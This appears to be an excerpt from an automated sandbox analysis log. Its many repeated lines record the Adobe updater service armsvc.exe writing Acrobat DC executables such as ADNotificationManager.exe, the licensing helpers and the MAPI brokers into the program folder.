Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
